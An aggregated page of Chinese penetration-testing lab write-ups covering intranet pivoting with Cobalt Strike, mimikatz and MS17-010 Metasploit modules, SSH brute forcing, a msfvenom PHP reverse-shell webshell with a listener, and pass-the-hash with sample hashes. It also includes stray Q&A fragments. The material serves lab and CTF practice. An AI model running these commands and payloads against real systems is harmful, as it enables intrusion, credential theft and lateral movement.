渗透测试靶机大全_渗透测试靶机kr

hacker|
199

内网渗透--对不出网目标的打法

配置网络

在VM虚拟机中按照下边的网络拓扑进行配置网络。网络拓扑图如下:

win7具有双网卡,其中外网ip是192.168.8.133,内网网段是52。三台机器彼此互通,但是win server 2008和win2003不通外网。用我mac作为攻击机,来对这个靶场环境进行渗透测试。

外网打点

在win7这台靶机上,使用PHPStudy让网站可以运行起来。在攻击机上,访问   可以看到是一个phpStudy 探针。对这网站进行渗透,因为本文主要写在内网渗透过程中对不出网主机的渗透,所以此处外网打点就不写的很详细了。

针对此靶场进行外网渗透拿权限大致有这几种方法:

通过phpmyadmin弱口令,进入phpmyadmin后台。然后知识点就变成了,通过phpmyadmin进行getshell,这个点又分为,得到网站绝对路径后,使用select into outfile的方式写shell和利用日志写shell。在此处,我是使用日志写shell的方法拿到权限。因为secure_file_priv配置为null,禁止修改目录下的文件,也就不能使用into outfile的方式写入shell。

通过目录扫描可以扫出beifen.rar,备份文件。在源码中可以找到登陆后台的账号密码:admin/123456和登陆路径/index.php?r=admin,在前台模板文件中添加一句话木马连接也可获取shell。

获得webshell的信息收集

通过外网打点获得的webshell,可以进行一波信息收集,摸清我是谁?我在哪?有没有内网环境?有没有杀软?通过拿到webshell后的信息收集的结果来评估一下有没有必要继续深入或者初步了解继续深入的话需要哪些手段。

我是谁?

蚁剑已经给出基础信息

我在哪?

使用ipconfig /all 看一下网络信息

目标有两个网卡,并且存在域环境,那么就有打它内网的必要了。

有没有杀软?

tasklist查看一下进程信息

根据进程查一下是否有杀软

目标没有使用杀软,还有域环境那么让它直接cs上线。

内网渗透

cs上线

内网信息收集

信息收集每个人都有自己的习惯,信息收集的顺序和信息收集的项目也都不太一样,只要根据自己的习惯和嗅觉,针对目标具体情况进行收集,以求尽快的拿下目标就好。信息收集的越全面突破口也就会越多,考虑到篇幅和文章内容匹配度等因素,此处并没有写出大量信息收集方法。

使用cs自带的net view查看域信息。

使用cs自带功能进行端口扫描,分别对8和52两个网段进行扫描进行完这两个步骤以后,cs会把扫到的目标列出来。

因为拿到的是管理员权限,可以先抓一波密码。用 cs 的 hashdump 读内存密码,用 mimikatz 读注册表密码:logonpasswords。

此处打码的地方是因为配置靶机登陆时靶机提示重置密码,我给靶机改了个包含个人信息的密码。蠢哭。拿到密码后,目标主机没有开启防火墙,可以使用cs自带的psexec做一波横向,因为抓到很多域中机器密码,域控密码也抓到了。

内网横向(通过登录凭证)

这个靶机设置的比较简单,抓到密码后,因为抓到了域控登陆的凭证,那么使用psexec即可横向内网所有机器。因为,另外两台内网的机器不出网,那么就到了本文着重练习的点了,打不出网的机器。

不出网机器上线一般有以下几种方式:

使用smb beacon

配置listener通过HTTP代理上线

使用pystinger搭建socks4代理

这几种方式之前有师傅也在先知写过 《不出网主机上线方法》 。此处我采用的SMB beacon这个方法。

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。

首先得到内网中一台主机的beacon,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线

使用条件

具有 SMB Beacon 的主机必须接受 445 端口上的连接。

只能链接由同一个 Cobalt Strike 实例管理的 Beacon。

利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。

使用方法:

1.建立smb的listener

2.在cs中使用psexec进行横向移动,选择现有的beacon作为跳板,这里凭据必须是administrator ,即拥有目标主机管理员权限

3.连接成功,可以看到smb beacon上线的主机右侧有∞∞标识

使用这种方法上线的机器,主要是通过出网机作为一个中间人,不出网主机成功上线后,如果出网机一断开,这个不出网主机也会断。

内网横向(通过ms-17010)

在拿下win7的时候,可以给它传一个fscan,给win7做一个内网大保健。上传fscan后,运行扫一下内网。

发现存在ms17010。

ms17010常见的几种打法:

msf

ladon/ladon_ms17010

从msf分离出的exe

nessus里的exe

cs插件

这几种打法,我在这个环境中都做过尝试。过程就不一一叙述了,直接说我测试的结果。msf是最稳定的,但是打起来有稍许的麻烦因为要设置监听模块和选择攻击模块等配置。ladon_ms17010方便但是不太稳有时候会打不成功。cs插件也不稳,并且在这种不出网网络不稳定的情况下成功率会变的更低。

这个图片的ip可能跟上边配置符不起来,因为我在测试过程中,网断过几次,ip就变了。所以,在打的时候,如果ladon和分离出的exe没有打成,不要轻易放弃,用msf在打打试试,毕竟工具就是工具,不能过分依赖某个工具。

在这种不出网的情况下,可以优先考虑使用从msf分离出的exe和ladon_ms17010来打,打成功会直接通过自定义的dll新建一个用户并加入管理员组,开启3389端口。根据实际情况,可考虑在合适的时间段和条件下直接远程登入,翻一下敏感数据,往往会因为运维人员的很多“好习惯”而给渗透带来很多便利,比如说“密码本.txt”。

msf打不出网机器的ms17010

msf在单兵作战的时候还是很稳定很香的。首先,让出网机器先在msf上线,可以用cs直接传递会话,或者生成个msf马直接运行一下。在这的方法就很多了。win7在msf上线后,因为我们已经提前知道了,存在52这个不出网的段,那么就需要在msf中添加路由。

查看路由

run get_local_subnets

添加路由

run autoroute -s 192.168.52.0/24

查看添加的路由

run autoroute -p

把shell切换到后台,然后使用ms17010模块进行漏洞利用,监听时使用正向监听,即可

小贴士:

漏洞检测方法:

use auxiliary/scanner/smb/smb_ms17_010

之后设置一下目标ip和线程即可,这里因为已经扫出存在漏洞的机器了,也就不在叙述。

漏洞利用常使用的是:

auxiliary/admin/smb/ms17_010_command

exploit/windows/smb/ms17_010_eternalblue

exploit/windows/smb/ms17_010_psexec

这里的第一个和第三个模块需要目标开启命名管道,并且比较稳定。第二个模块只要存在漏洞即可,但是会有概率把目标打蓝屏,而且杀软拦截也会比较严格,如果有杀软就基本可以放弃这个模块了。

在打ms17010的时候,不妨使用auxiliary/admin/smb/ms17_010_command模块探测一下是否可以使用命名管道。

use auxiliary/admin/smb/ms17_010_commandsetrhosts192.168.164.156192.168.164.161setcommandtasklistshow optionsrun

如果命令执行成功的话就可以优先考虑

auxiliary/admin/smb/ms17_010_commandexploit/windows/smb/ms17_010_psexec

这两个模块进行利用。

我在上边打得时候因为目标机器没有杀软就直接使用exploit/windows/smb/ms17_010_eternalblue来打了,期间为了测试打过多次,确实出现了把目标机器打重启的情况。

总结

这个靶场设计的技能点比较基础,外网打点获得shell后,直接可以通过cs上线,在管理员权限下,抓取密码,新建一个smb beacon然后使用psexec对内网两台不出网的机器进行横向。

请问在哪儿能下载渗透测试实验靶机?或者分享一波,最大积分了,谢谢~~~

这个靶机集合了好几个靶场,还有各种模拟网站漏洞,应该够你练习入门了。百度网盘

希望对你有用。

CTF新人如何入门?在校大学生一年级,在CTF社团听老师推荐连天教育的课程不错,有必要报名学CTF吗?

C二五踢的话,如果你觉得想要入门的话,那肯定就是要学习呀,学习来说的话,就是要经过培训,培训的话就是到他那里的话 课程来说的话,他那里的课程确实不错的

入侵开放22端口的靶机

本人笔记,仅供参考

相关靶机:

链接:

提取码:qd32

渗透分析:

对于开启ssh服务的22端口的靶场优先考虑

1.暴力破解

2.私钥泄露

对于开放http服务的80端口或者其他端口的靶场优先考虑(特别注意大于1024的端口)

1.通过浏览器访问对应靶场http服务如地址:端口号

2.使用探测工具对http的目录进行探测,如dirb 地址:端口号

挖掘敏感信息:

使用浏览器对靶场IP的http服务探测,对页面中展示的内容也要注意,尤其是联系人等信息(有可能就是ssh的用户名信息), 递归访问,力争把每一个dirb扫描到的目录页面都访问查看;

尤其对robots.txt、以及一些目录进行访问,挖掘具备利用价值的信息。对于开放ssh服务的靶场,务必要注意是否可以寻找到ssh私钥信息(id_ rsa);

对于某些靶场,也可以使用nikto扫描器来挖掘敏感信息;

-- nikto -host靶场IP地址

特别注意config等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息;

登录服务器之后,我们需要做以下操作。

1、查看当前用户whoami .

2、id 查看当前用户的权限

3、查看根目录寻找flag文件

如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一

般情况下,flag文件只属于root用户和对应的用户组:

cat /etc/passwd查看所有用户的列装

cat /etc/group查看用户组

find / -user用户名查看属于某些用户的文件

/tmp查看缓冲文件目录

深入挖掘

通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要roor权限。不同的用户都可以有不同的定时任务

cat /etc/crontab挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。

如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。

如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。

万不得已的时候只能对ssh服务进行暴力破解。破解最后一个

用户名。破解工具如hydra、medusa等;

利用cupp创建字典

git clone 

chmod +x cupp.py

./cupp.py -i以交互的方式创建字典

输入用户名然后一直回车到Do you want to add some random numbers at the end of words?输入yes其他全部no此时创建完成

之后推荐用metasploit破解ssh

在终端中输入

msfconsole

msf  use auxiliary/scaner/ssh/ssh_ login(使用该模块)

set rhosts  192.168.56.103(确定ip地址)

set username 用户名(破解的用户名)

set pass_ file 用户名.txt(刚刚创建的字典)

set threads  5(输入线程)

Run(进攻)

此时破解出密码例如123

直接连接,如果出现问题可以重启msfconsole,启用该模块后

set rhosts 192.168.56.103             (连接远程主机)

set username hadi(用户名)

Set password 123(密码)

Run

界面简陋就使用python优化界面

Python -c “import pty;pty.spawn(‘/bin/bash’)”(优化界面)

此时可以把自己权限提升到root:

su - root

回到根目录ls打开flag文件

Ssh秘钥泄露

解密Ssh秘钥信息(以秘钥名id_isa举例)

Chmod  600 id_isa(赋予is_isa可读可写权限)

ssh2john id_isa  isacrack       (就是用ssh2john把秘钥里的东西转换成john可识别的)

Zcat  /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacracks(利用rockyou字典解出所需要的东西)

制作webshell

msfvenom -p php/meterpreter/reverse_tcp Ihost=攻击机IP地址Iport=4444 -f raw  /root/Desktop/shell.php

启动监听

msf  use exploit/multi/handler

msf exploit(handler)  set payload php/meterpreter/reverse_tcp

Weoshell

msf exploit(handler)  set Ihost攻击机IP地址

msf exploit(handler)  set lport 4444

msf exploit(handler) run

上传Webshell

使用找到的敏感信息登录系统后台,上传webshell。 执行

webshel(访问具有webshell的php页面)

获得反弹的shell

--

wordpress.上传点theme 404.php

执行: http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php

虚拟机玩渗透 目标虚拟机 需要怎么设置网络

VMWare虚拟机搭建渗透测试的网络环境

1. 问题的提出

通过虚拟机运行Kali Linux或者OWASP WTE,需要靶机来进行渗透测试的学习和研究。比较简单的方式是,靶机也作为虚拟机运行;在渗透机与虚拟机之间建立专门的网络连接。

使用VMWare提供的LAN区段(LAN Segament)是个简单、快捷的解决方案。

2. 步骤说明

设置LAN区段 - 在VMWare中

靶机和渗透机的虚拟机设置 - 在VMWare中

靶机和渗透机的系统网络设置 - 虚拟机内部

2.1 LAN区段(LAN Segament)设置

在VMWare Workstation中,打开目标虚拟机的“虚拟机设置”标签,点选“LAN区段”,如下图:

![点击这里的"LAN区段"按钮]()

点击之后,

+ 如果没有设置过LAN区段,则新建一个LAN区段

+ 如果已经设置过,则选择目标所在的LAN区段

2.2 渗透机/靶机虚拟机设置

在完成了上述LAN区段设置后,虚拟机的网络连接模式设置为“LAN区段”,并选择上述设置的具体区段。

虚拟机和靶机的**设置方法相同**。

2.3 渗透机/靶机的系统设置

进入虚拟机系统内部,需要手动指定IP地址,确保渗透机和靶机在同一网段内。

虚拟机和靶机的**设置方法相同**。

Windows的设置比较简单。

+ 对于没有图形界面的Linux,手动设置方法如下:

1. 关闭网卡,目的在于**清除之前的网络设置**

precode$ ifconfig eth0 down/code/pre

2. 设置新的IP地址等信息,并启动网卡

precode$ ifconfig eth0 192.168.xx.123 netmask 255.255.255.0 up/code/pre

注意,这里最后的up是启动网卡的意思

3. 设置网关gateway,需要使用route命令

precode$ route add default gw 192.168.xx.1

+ 对于有图形界面的Linux,有时候会出现Network Manager显示"device not managed"的情况,特别是在Debian或者Kali底下。

1. 问题是因为同时满足以下条件:

(1) /etc/network/interface文件中包括目标设备(网卡);

(2) /etc/NetworkManager/NetworkManager.conf中没有设定自动管理。

2. 问题解决方法:

(1) 在/etc/NetworkManager/NetworkManager.conf中,设置managed=true

(2) 重启network manager:

precode$service network-manager restart/code/pre

横向渗透之Pass The Hash

在上一章总结了windows抓取hash的一些方式。在实际场景中,我们需要更快的扩大战果,获取更多控制权限,以及定位域环境。

横向渗透:就是在得到一台主机的控制权限后,将该主机作为突破口、跳板,利用既有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个内网、拥有最高权限。

Pass The Hash 哈希传递简称PTH,可以在不需要明文密码的情况下,利用LM HASH和NTLM HASH直接远程登录。攻击者不需要花费时间来对hash进行爆破,在内网渗透里非常经典。

常常适用于域/工作组环境。

靶机:windows server 2008

IP:10.211.55.19

domain:workgroup

user:administrator

pass:cseroad@2008

NTLM-Hash:82c58d8cec50de01fd109613369c158e

psexec类工具大同小异,大部分工具都是通过psexec来执行的。原理是: 通过ipc$连接,将psexesvc.exe释放到目标机器,再通过服务管理SCManager远程创建psexecsvc服务,并启动服务。然后通过psexec服务运行命令,运行结束后删除该服务。

如:Metasploit psexec,Impacket psexec,pth-winexe,Empire Invoke-Psexec

缺点:容易被杀软检测到

优点:可以直接获取system权限

因为市面工具比较多,只kali就自带有很多。所以这里以好用、批量为准则选择了几款工具。

mimikatz中pth功能的原理:

windows会在lsass中缓存hash值,并使用它们来ntlm认证,我们在lsass中添加包含目标账号hash的合法数据结构,就可以使用类似dir这些命令进行认证。

正常访问server 2008 的盘符是需要用户名密码的。

在windows7上经过pth之后就不需要密码就可以远程连接。

将获取的hash添加进lsass中。

在windows 7 上执行以下命令:

执行后会弹出cmd。在cmd下执行 net use \\10.211.55.19\c$ 命令就可以远程连接。

扩展:

假如我们继续探测到10.211.55.8使用的是同一个hash值。我们尝试使用远程共享c盘和schtasks 定时计划任务执行获取一个session。

powershell.bat为

当重启10.211.55.8机器后,metasploit可得到session

笔者经常使用时的是这三个模块

以exploit/windows/smb/psexec模块为例

值得一说的是smbpass配置项支持明文密码也支持hash(LM-Hash:NTLM-Hash)

成功返回system权限。

CobalStrike 同样有psexec选项。

在得到一个beacon的基础上,先在该网段portscan,探测存活主机后。

选择View--Target--Login--psexec,可批量选择主机pth。

选择pth的用户名和hash值。

从执行的命令看得出依然利用的mimikatz。执行成功后返回system权限。

该工具可以对C段主机批量pth。

项目在 github

在kali上直接apt就可以安装

对工作组批量pth命令如下

测试的时候发现某些命令执行后没有回显。

更多资料参考:

CrackMapExec:域环境渗透中的瑞士军刀

红队测试工具-CrackMapExec-远程执行Windows命令

wmi内置在windows操作系统,用于管理本地或远程的 Windows 系统。wmiexec是对windows自带的wmic做了一些强化。攻击者使用wmiexec来进行攻击时,不会记录日志,不会写入到磁盘,具有极高的隐蔽性。

安装成功后,切换到examples目录下

运行命令为

先加载Invoke-WMIExec.ps1脚本,再加载Invoke-TheHash.ps1脚本,因为Invoke-TheHash 里要用到 Invoke-WMIExec方法

如果要执行系统命令。可以加-Command 参数

执行后该进程会在后台运行,可以结合定时任务执行尝试反弹shell。

在测试中发现,在打了kb2871997 这个补丁后,常规的Pass The Hash已经无法成功,但默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程ipc连接。

以上所有操作均针对的SID 500。

内网渗透之PTHPTTPTK

横向移动

丢掉PSEXEC来横向渗透

0条大神的评论

发表评论